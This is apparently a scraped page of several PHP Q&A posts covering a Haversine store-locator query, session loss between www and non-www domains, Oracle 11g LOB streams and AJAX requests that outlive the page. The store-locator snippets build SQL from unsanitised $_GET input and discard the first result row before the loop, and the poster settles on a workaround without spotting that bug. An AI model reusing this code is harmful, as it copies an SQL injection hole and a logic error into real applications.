In a nutshell, every implementation of the Haversine formula I've come across seems to result in missing markers - specifically any markers that are very close to the users entered coordinates (don't know precisely but I think it's within about 500m). This is a big problem as if the user enters their postcode and there is a store very close to their location it won't show up.

I've tried about 8 different permutations of the forumla that I've dug up from various tutorials with the same results. Below is the formula that I'm currently using on the site which provides all markers except for the those very close to the users entered position:

$center_lat = $_GET["lat"];
$center_lng = $_GET["lng"];
$radius = $_GET["radius"];

// Calculate square radius search

$lat1 = (float) $center_lat - ( (int) $radius / 69 );
$lat2 = (float) $center_lat + ( (int) $radius / 69 );
$lng1 = (float) $center_lng - (int) $radius / abs( cos( deg2rad( (float) $center_lat ) ) * 69 );
$lng2 = (float) $center_lng + (int) $radius / abs( cos( deg2rad( (float) $center_lat ) ) * 69 );

$sqlsquareradius = "
SELECT 
post_id, lat, lng
FROM
wp_geodatastore
WHERE
lat BETWEEN ".$lat1." AND ".$lat2."
AND
lng BETWEEN ".$lng1." AND ".$lng2."
"; // End $sqlsquareradius

// Create sql for circle radius check
$sqlcircleradius = "
SELECT
t.post_id,
3956 * 2 * ASIN(
    SQRT(
        POWER(
            SIN(
                ( ".(float) $center_lat." - abs(t.lat) ) * pi() / 180 / 2
            ), 2
        ) + COS(
            ".(float) $center_lat." * pi() / 180
        ) * COS(
            abs(t.lat) * pi() / 180
        ) * POWER(
            SIN(
                ( ".(float) $center_lng." - t.lng ) * pi() / 180 / 2
            ), 2
        )
    )
) AS distance
FROM
(".$sqlsquareradius.") AS t
HAVING
distance <= ".(int) $radius."
ORDER BY distance
"; // End $sqlcircleradius


$result = mysql_query($sqlcircleradius);

$row = mysql_fetch_array( $result );

while($row = mysql_fetch_array( $result )) {
// the contents of each row
$post_ids[] = $row['post_id'];
}

There was 1 formula that I tried that was suggested by Mike Pelley here: Geolocation SQL query not finding exact location

This formula seemed to show markers that were very close to the users entered location but missed out others that should have been displayed within the given radius. To clear up any confusion this is the code I used:

$center_lat = $_GET["lat"];
$center_lng = $_GET["lng"];
$radius = $_GET["radius"];

$sql = "
SELECT post_id, lat, lng, 
truncate((degrees(acos( sin(radians(lat)) 
* sin(radians(".$center_lat.")) 
+ cos(radians(lat)) 
* cos(radians(".$center_lat.")) 
* cos(radians(".$center_lng." - lng) ) ) ) 
* 69.09*1.6),1) as distance 
FROM wp_geodatastore HAVING distance <= ".$radius." ORDER BY distance desc
"; // End $sqlcircleradius


$result = mysql_query($sql);

$row = mysql_fetch_array( $result );

while($row = mysql_fetch_array( $result )) {
// Print out the contents of each row
$post_ids[] = $row['post_id'];
}

THE REQUEST

Basically I would like to know why neither of these blocks of code are displaying the correct markers. If anyone can suggest any improvements to the code or can point me towards some resource that I might have missed that would be great.

Thinking a little laterally I've come up with a 'sort of' solution to the problem of the missing markers. The two equations I posted originally gave the correct results but each missed out either markers close to the target or on the edges of the search radius

It's not very elegant but I figured that running both equations and producing 2 arrays which I then combined (removing any duplicates) would give me all the markers I'm looking for. This does work (obviously a performance hit but it's not a high traffic application) so I'll work with this for the time being but I'm still after a more practical solution if anyone has one!

$_SESSION created but theres no PHPSESSID in $_SERVER['HTTP_COOKIE']

7 votes

I'm experiencing some weird problems with SESSION variables on my PHP/Ajax online shopping cart.

When I first view the page, the SESSION is created and works within the page. Then when I navigate to another PHP page within the same directory the SESSION is completely lost. What's weird is that this only happens once. Once the user goes through this process of completely losing their SESSION upon changing page, the SESSION works in full across the entire cart.

I started mailing myself var_exports of both $_SESSION and $_SERVER data on each page view. It seems that when a page is first viewed, the SESSION exists and contains data. However there is no PHPSESSID generated in the $_SERVER['HTTP_COOKIE'] variable. On navigating to another page, the PHPSESSID gets created and the SESSION will start working, but the initial SESSION data of the first page view is lost.

Is there a way to generate a PHPSESSID if one has not yet been generated for the SESSION? Or is this typical behaviour and is irrelevant to my random SESSION loss problem? I'm using PHP 5.2.

Every page in the cart starts the exact same way:

$title="Title";
$keywords="keywords";
$description="description";
@include('../header_cart.php');

And then at the top of header_cart.php there is:

session_start();
if(!isset($_SESSION['active'])){
    $_SESSION['active']=$_SERVER['REMOTE_ADDR'];
}

Turns out it was recognizing mydomain.com and www.mydomain.com as separate sessions and was storing 2 cookies with 2 different PHPSESSIDs.

I added this to my .htaccess file to always redirect mydomain.com/shop to www.mydomain.com/shop for both http and https.

RewriteEngine On

#force http://www. to make sure SESSION data is always the same
RewriteCond %{HTTPS} off
RewriteCond %{HTTP_HOST} !^www\.
RewriteCond %{REQUEST_URI} shop
RewriteRule ^(.*)$ http://www.mydomain.com/shop/$1 [R,L]

#force https://www. to make sure SESSION data is always the same
RewriteCond %{HTTPS} on
RewriteCond %{HTTP_HOST} !^www\.
RewriteCond %{REQUEST_URI} shop
RewriteRule ^(.*)$ https://www.mydomain.com/shop/$1 [R,L]

Oracle 11g DB returning Streams instead of Strings

6 votes

I've got a new database here and it's an upgraded version from Oracle 10g to Oracle 11g - the main problem is with LOB columns and everytime any function returns a LOB as result, the new database won't return strings like the old one did:

Old DB:

["C"]=>
string(23) "3874163,3874197,3874201"

New DB:

["C"]=>
resource(182) of type (stream)

Now when reading the streams sometimes there is an error of a non-existing stream resource beeing referenced and everything fails. I'm guessing the connection closed in the meantime without the stream beeing read and therefore the access is lost.

When changing the statements to include a casting against varchar for example:

CONVERT(VARCHAR, C, 120)

Or like this:

SELECT TO_CHAR(FUNC())

The value is returned as a string again but this is not really an optimal solution as every statement would need to be changed.

Is there any way/option to prevent LOBs from beeing delivered as streams so they are instead delivered as strings like in Oracle 10g?

Edit:
We are using the oci function-set for db access.

Not really an answer as such but a few items that I hope helps.

It looks like that there is a small difference in the way that LOBs are returned between 10g and 11g, under 11g there is some notes about the conversion from btyes to byteStreams when LOBs are over a certain value, in the JDBC reference manual (I understand that this doesnt effect OCI calls as they use a different driver set).

From what I can see in terms of the OCI8 functions within php the default operation of the fetch functions is that the LOBs are returns as a reference and need to be accessed using the ->read() ->load() etc functions (see http://au.php.net/oci_fetch_array - regarding the mode and the default).

Now I dont know if you are using the OCI functions to access your oracle system as it's not specified in your question.

Couple of other items that would help in figuring this out would be if you could let us know if you recompiled php or updated the oracle drivers with the newer client version at all.

I know its not a full solution but if you are using oci_fetch_* to return the row, add a second argument to the call of OCI_RETURN_LOBS, this will cause the fetch to return a string of the LOB field instead of a reference to a stream, or use the $variable["C"]->load() to access this LOB this will cause it to load the full stream and act like a normal string.

Hope this helps.

What happens if a user exits browser or change page before AJAX request is over

6 votes

I am calling a php script over ajax to do some database maintenance. If the user closes the page, hits back or clicks a link, will the php script be fully executed? Is there a way to do it? Maybe if the php script called the exec() method or something similar, which would in turn call a script via the console as such: $ php /var/www/httpdocs/maintenance.php ?

Looked on the internet but did not know how to ask to get a good answer, so I didn't find the answer.

As long as the user agent (browser, etc.) has fully sent the request, the server has all it needs and will complete the request and try to send back a response.

In fact, this sort of "pinging" behavior is often used for "heartbeat"-like processes that keep a service warm or perform periodic maintenance.